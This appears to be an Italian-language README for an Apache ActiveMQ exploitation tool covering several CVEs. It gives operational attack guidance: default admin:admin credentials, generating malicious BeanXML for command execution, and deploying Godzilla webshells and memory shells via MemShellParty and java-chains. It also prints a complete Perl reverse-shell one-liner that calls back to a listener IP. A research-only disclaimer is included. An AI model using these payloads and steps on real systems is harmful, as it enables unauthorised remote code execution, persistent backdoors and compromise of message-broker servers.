
Strumento completo di sfruttamento delle vulnerabilità di Apache ActiveMQ(CVE-2015-5254,CVE-2016-3088,CVE-2022-41678,CVE-2023-46604,CVE-2024-32114,CVE-2026-34197,CVE-2026-40466, CVE-2026-42588)
Supporta il rilevamento e lo sfruttamento delle vulnerabilità di Apache ActiveMQ: CVE-2015-5254, CVE-2016-3088, CVE-2022-41678, CVE-2023-46604, CVE-2024-32114, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588

[!WARNING] Questo strumento è solo per scopi di ricerca e apprendimento sulla sicurezza. L'utilizzatore si assume ogni responsabilità legale e correlata derivante dall'uso di questo strumento. Assicurati che le tue azioni siano conformi alle leggi e ai regolamenti locali. L'autore non si assume alcuna responsabilità. Se non accetti, non utilizzare questo strumento.
Avvio con JDK8, la porta predefinita di Openwire è 61616, a volte l'ambiente target potrebbe non averla aperta. Le credenziali predefinite di Apache ActiveMQ sono admin:admin. Il pannello delle impostazioni BeanXML può generare XML malevolo per eseguire comandi corrispondenti. Per problemi, si prega di aprire una Issue.
Durante il rilevamento delle vulnerabilità, è possibile impostare l'indirizzo del server XML malevolo su dnslog; se si riceve una richiesta, indica che potrebbero esistere CVE-2023-46604, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588.
java-chains genera dati di deserializzazione, per verificare la vulnerabilità si può usare URLDNS
Per ottenere una reverse shell è meglio usare perl, sh e bash a volte non funzionano.
/usr/bin/perl -e 'use Socket;$i="192.168.239.129";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Quando si scrive una webshell personalizzata, la scrittura del cavallo BingXie restituisce errore 500, mentre Godzilla funziona correttamente. Quando ci si connette con lo strumento, assicurarsi di aggiungere l'header di autenticazione.
A partire dalla versione 1.4, il modulo di generazione MemShellParty per memory shell non è più integrato. Da un lato, il pacchetto fatjar è diventato ingombrante; dall'altro, il metodo di decodifica base64 necessario per SpringBeanXmlClassLoader non è universale tra diverse versioni di Java, costringendo lo strumento a reinventare la ruota. Per chi ha bisogno di memory shell, può fare riferimento al seguente processo di generazione XML:
Prima, genera la stringa base64 della memory shell corrispondente su MemShellParty: https://party.mem.mk/ui

Poi vai su java-chains, trova Generate-OtherPayload, seleziona bytecode personalizzato.

Scegli il metodo di decodifica base64 in base alla versione JDK; per impostazione predefinita è il metodo decodeFromString, mentre per il target vulhub di CVE-2026-34197 è necessario selezionare java.util.Base64.
Infine, inserisci la stringa base64 della memory shell e clicca su Genera.

Per i tipi Filter, Listener o Servlet, nell'indirizzo di connessione della memory shell è necessario aggiungere il percorso /admin/, /api/, e l'header di autenticazione; per handler non sono necessari né percorso né header di autenticazione.
Ringraziamenti
https://github.com/URJACK2025/CVE-2022-41678
https://github.com/vulhub/vulhub